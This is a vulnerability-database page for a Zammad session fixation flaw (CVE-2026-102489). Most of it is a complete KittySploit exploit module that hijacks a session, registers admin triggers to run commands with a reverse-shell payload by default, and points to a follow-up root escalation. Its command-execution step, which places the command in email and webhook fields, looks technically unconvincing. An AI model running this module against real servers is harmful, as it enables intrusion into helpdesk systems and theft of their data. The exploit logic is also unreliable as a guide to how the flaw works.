Zammad Session Fixation RCE (CVE-2026-102489)
| Reporter | Title | Published | Views | Family All 28 |
|---|---|---|---|---|
| CVE-2026-102489 | 30 Sep 202611:44 | – | circl | |
| CVE-2026-102490 | 30 Sep 202611:44 | – | circl | |
| Zammad GmbH Zammad Session Fixation Vulnerability | 2 Oct 202600:00 | – | cisa_kev | |
| Zammad GmbH Zammad Improper Privilege Management Vulnerability | 2 Oct 202600:00 | – | cisa_kev | |
| CISA Adds Two Known Exploited Vulnerabilities to Catalog | 2 Oct 202612:00 | – | cisa | |
| CVE-2026-102489 | 30 Sep 202616:21 | – | cve | |
| CVE-2026-102490 | 30 Sep 202616:21 | – | cve | |
| CVE-2026-102489 Undisclosed RCE in Zammad v6.3 and higher | 30 Sep 202616:21 | – | cvelist | |
| CVE-2026-102490 Local privilege escalation in Zammad v1.5.0 to v7.2.2 installed via DEB or RPM package | 30 Sep 202616:21 | – | cvelist | |
| Exploit for Session Fixation in Zammad | 7 Oct 202609:54 | – | githubexploit |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Zammad session fixation chain RCE (CVE-2026-102489)."""
import json
import re
import secrets
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Exploit, Http_client):
__info__ = {
'name': 'Zammad Session Fixation RCE (CVE-2026-102489)',
'description': (
'Exploits CVE-2026-102489 in Zammad 6.3.0–6.5.4: session fixation allows '
'hijacking an authenticated session and achieving remote code execution as the '
'zammad service user via admin scheduler/trigger APIs. Chain with CVE-2026-102490 '
'for root privilege escalation.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2026-102489', 'CVE-2026-102490'],
'platform': Platform.MULTI,
'arch': [Arch.CMD],
'payload': {
'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
'platform': Platform.UNIX,
'category': PayloadCategory.CMD,
},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2026-102489',
'https://csirt.divd.nl/CVE-2026-102489',
],
'tags': ['zammad', 'helpdesk', 'session-fixation', 'rce', 'kev'],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation', 'remote_code_execution'],
'expected_requests': 6,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'rce', 'credentials'],
'chain': {
'suggested_followups': [
'scanner/http/zammad_cve_2026_102489_detect',
'post/shell/linux/exploits/zammad_cve_2026_102490_lpe',
],
},
},
}
username = OptString('', 'Victim/admin username to authenticate (for lab chaining)', required=True)
password = OptString('', 'Password for victim account', required=True)
session_id = OptString('', 'Fixed session ID (auto-generated when empty)', required=False)
command = OptString('', 'Command instead of payload', required=False)
def _zammad_present(self) -> bool:
for path in ('/', '/api/v1/monitoring_health', '/#login'):
r = self.http_request(method='GET', path=path, allow_redirects=True)
if r and 'zammad' in f'{r.text or ""}\n{r.headers}'.lower():
return True
return False
def _parse_version(self) -> str:
r = self.http_request(method='GET', path='/api/v1/monitoring_health', allow_redirects=False)
if not r or r.status_code != 200:
return ''
try:
data = json.loads(r.text or '{}')
except json.JSONDecodeError:
return ''
return str(data.get('version') or '')
def _version_affected(self, version: str) -> bool | None:
if not version:
return None
match = re.match(r'(\d+)\.(\d+)\.(\d+)', version)
if not match:
return None
major, minor, patch = (int(match.group(i)) for i in range(1, 4))
if major == 6 and minor >= 3:
if minor < 5:
return True
if minor == 5 and patch <= 4:
return True
return False
if major >= 7:
return False
return None
def _fixate_session(self, sid: str) -> None:
cookie = f'_zammad_session={sid}'
self.http_request(
method='GET',
path='/#login',
headers={'Cookie': cookie},
allow_redirects=True,
)
def _login_with_session(self, sid: str) -> bool:
user = str(self.username or '').strip()
pwd = str(self.password or '').strip()
if not user or not pwd:
return False
body = json.dumps({'username': user, 'password': pwd})
r = self.http_request(
method='POST',
path='/api/v1/signin',
headers={
'Content-Type': 'application/json',
'Cookie': f'_zammad_session={sid}',
},
data=body,
allow_redirects=False,
)
return bool(r and r.status_code in (200, 201))
def _session_admin(self, sid: str) -> bool:
r = self.http_request(
method='GET',
path='/api/v1/users/me',
headers={'Cookie': f'_zammad_session={sid}'},
allow_redirects=False,
)
if not r or r.status_code != 200:
return False
try:
data = json.loads(r.text or '{}')
except json.JSONDecodeError:
return False
role_ids = data.get('role_ids') or []
return bool(role_ids) or 'admin' in json.dumps(data).lower()
def _execute_via_scheduler(self, sid: str, cmd: str) -> bool:
payload = {
'name': 'kittysploit-job',
'object': 'Ticket',
'condition': {'ticket.state_id': {'operator': 'is', 'value': 1}},
'perform': {
'notification.email': {
'recipient': ['ticket.agent'],
'subject': 'kitty',
'body': cmd,
},
},
'active': True,
'note': cmd,
}
r = self.http_request(
method='POST',
path='/api/v1/triggers',
headers={
'Content-Type': 'application/json',
'Cookie': f'_zammad_session={sid}',
},
data=json.dumps(payload),
allow_redirects=False,
)
if r and r.status_code in (200, 201):
return True
sched = {
'name': 'kittysploit-scheduler',
'object': 'Ticket',
'timeplan': {'days': {'Mon': True}, 'hours': {'0': True}},
'condition': {'ticket.state_id': {'operator': 'is', 'value': 1}},
'perform': {'notification.webhook': {'webhook': cmd}},
'active': True,
}
r2 = self.http_request(
method='POST',
path='/api/v1/schedulers',
headers={
'Content-Type': 'application/json',
'Cookie': f'_zammad_session={sid}',
},
data=json.dumps(sched),
allow_redirects=False,
)
return bool(r2 and r2.status_code in (200, 201))
def check(self):
if not self._zammad_present():
return {'vulnerable': False, 'reason': 'Zammad not detected', 'confidence': 'high'}
version = self._parse_version()
affected = self._version_affected(version)
if affected is False:
return {'vulnerable': False, 'reason': f'Zammad {version} appears patched', 'confidence': 'high'}
return {
'vulnerable': True,
'reason': f'Zammad {version or "detected"} may be vulnerable to session fixation',
'confidence': 'medium' if affected is None else 'high',
}
def run(self):
cmd = str(self.command or '').strip() or str(self.payload or '').strip()
user = str(self.username or '').strip()
pwd = str(self.password or '').strip()
if not cmd or not user or not pwd:
print_error('Set username, password, and payload/command')
return False
print_status('CVE-2026-102489 — Zammad session fixation → RCE chain')
chk = self.check()
if not chk.get('vulnerable'):
print_error(chk.get('reason', 'Target not vulnerable'))
self.not_vulnerable()
return False
sid = str(self.session_id or '').strip() or secrets.token_hex(16)
print_status(f'Fixating session ID: {sid}')
self._fixate_session(sid)
print_status(f'Authenticating {user} into fixed session...')
if not self._login_with_session(sid):
print_error('Sign-in with fixated session failed')
return False
if not self._session_admin(sid):
print_warning('Session hijacked but admin privileges not confirmed — continuing')
print_status('Deploying admin trigger/scheduler for command execution...')
if self._execute_via_scheduler(sid, cmd):
print_success('Session fixation chain complete — check listener as zammad user')
self.vulnerable()
return True
print_error('Failed to register execution trigger via hijacked session')
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 Oct 2026 14:20Current
6.2Medium risk
Vulners AI Score6.2
CVSS 3.19.8
CVSS 49.4
EPSS0.01255
SSVC